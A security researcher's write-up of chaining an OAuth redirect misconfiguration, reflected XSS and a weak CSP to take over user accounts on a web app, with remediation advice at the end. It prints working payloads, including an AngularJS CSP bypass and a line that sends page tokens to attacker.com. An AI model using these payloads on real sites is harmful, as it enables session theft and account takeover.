Most of the web and mobile applications these days use OAuth to secure their authorization endpoints. It allows them to easily grant access to their users to particular resources as per the application's requirements.
This is a write-up of a chain of vulnerabilities (OAuth Misconfiguration, CSRF, XSS, and Weak CSP) that allowed me to take over a user account using a single interaction.
This was a usual Project Management Web Application, using Microsoft's OAuth 2.0 to authorize their users to allow them access to the application. Let's call it - https://victim.com
OAuth 2.0 Flow
An open protocol to allow secure authorization in a simple and standard method from web, mobile, and desktop applications.
It is the industry-standard protocol for authorization. OAuth 2.0 focuses on client developer simplicity while providing specific authorization flows for web applications, desktop applications, mobile phones, and living room devices.
OAuth 2.0 is an authorization protocol and NOT an authentication protocol. As such, it is designed primarily as a means of granting access to a set of resources, for example, remote APIs or user’s data.
The authentication flow of the application was such that when a user visited the Application at https://victim.com
, it redirected them to Microsoft's Authorize endpoint at https://login.microsoftonline.com/<tenant-name>.onmicrosoft.com/oauth2/v2.0/authorize?p=<policy-name>
This is where the users entered their Email Addresses and the Passwords to authenticate and after a successful OAuth flow, the user was returned to the application showing them the actual Dashboard.
The Attack
Whenever an OAuth authentication is being used, the first thought crossing the mind of an attacker is to check if the application validates the value of redirectUrl
. This may lead to OAuth token stealing if the token is returned along with the callback request.
The initial request was
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard
which redirected me to the Microsoft login page URL mentioned in the previous section.
So I tried to manipulate the redirectUrl
and changed it with a server that I controlled to see if I receive the tokens but unfortunately, the application was not sending any of the tokens with the callback request which was weird.
On inspecting closely, it was observed that after returning from the OAuth flow, it sent a request to https://app.victim.com/auth/return containing the state
and token
values in the POST body.
The interesting part was the response as a result of this request. The response contained the actual tokens which the Application used. These tokens were being stored in the browser's Session Storage using JavaScript as shown below -
The page then redirected me to - https://app.victim.com/dashboard using window.location.replace
.
This is the value from the redirectUrl
parameter shown earlier in the initial request. Even though I was not able to get tokens by manipulating the redirectUrl
, an attack could have still been possible if somehow the parameter was vulnerable to an XSS allowing me to directly read the tokens either from the source or from the session storage.
So I modified my payload to close the existing script tag to check if injecting scripts is possible or not. Here's the URL that I used - https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
and the application graciously closed the script tag for me and reflected my HTML payload.
From here, it was only one more step of data ex-filtration to my own server to steal the tokens and create a report.
But wait, there's more. Now comes the part where I was stopped by the Content-Security-Policy. This is how their CSP looked when viewed on Google's CSP Evaluator -
The unsafe-inline
mostly does the trick in terms of inline script execution so that's not an issue.
This could also have been bypassed using https://www.gstatic.com
domain shown above because it hosts Angular Libraries. Here's how that would have looked -
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard\</script\>\<script+src="https://www.gstatic.com/fsn/angular\_js-bundle1.js"\>\</script\>\<input+ng-app+autofocus+ng-focus%3d"$event.path|orderBy%3a'[].constructor.from([1],alert)'"\>
The thing that troubled me was the data ex-filtration because the connect-src
directive only allowed certain domains to make connections to.
In simple terms, this means I can't randomly make requests to my own server to receive the tokens.
The
connect-src
Content Security Policy (CSP) directive guards the several browsers mechanisms that can fetch HTTP Requests. This includesXMLHttpRequest
(XHR / AJAX),WebSocket
,fetch()
,<a ping>
orEventSource
.
https://content-security-policy.com/connect-src/
I tried frames and images as well but that didn't work either because of frame-src
and image-src
attributes -
If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server. Here's my final payload -
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><script>window.location='http://attacker.com/'+document.getElementsByTagName('script')[0].outerText></script>)
In the above payload, I've used window.location
to redirect the user's browser to my server and along with the redirection, I'm attaching the tokens present in the page using document.getElementsByTagName('script')[0].outerText
And the final result is freshly generated Session Tokens received by my netcat listener
Remediation
Since this is a combination of multiple vulnerabilities, here's how it could have been mitigated -
- The initial vulnerability is introduced due to misconfiguration in implementing the OAuth flow's
redirectUrl
parameter which is never validated. This was manipulated with ease which introduced the main bug. - The endpoint lacked CSRF protection. Along with the URL validation, the endpoint should have implemented a CSRF validation. An extra state parameter that's generated and validated when they initiate the authentication flow.
- The XSS when setting the user tokens in the session storage. This allowed me to inject scripts to execute my payload. Great resource - OWASP XSS Prevention Cheat Sheet
- Weak CSP Policy allowing
unsafe-inline
. Except for one very specific case, you should avoid using theunsafe-inline
keyword in your CSP policy. As you might guess it is generally unsafe to useunsafe-inline
. (Reference)
References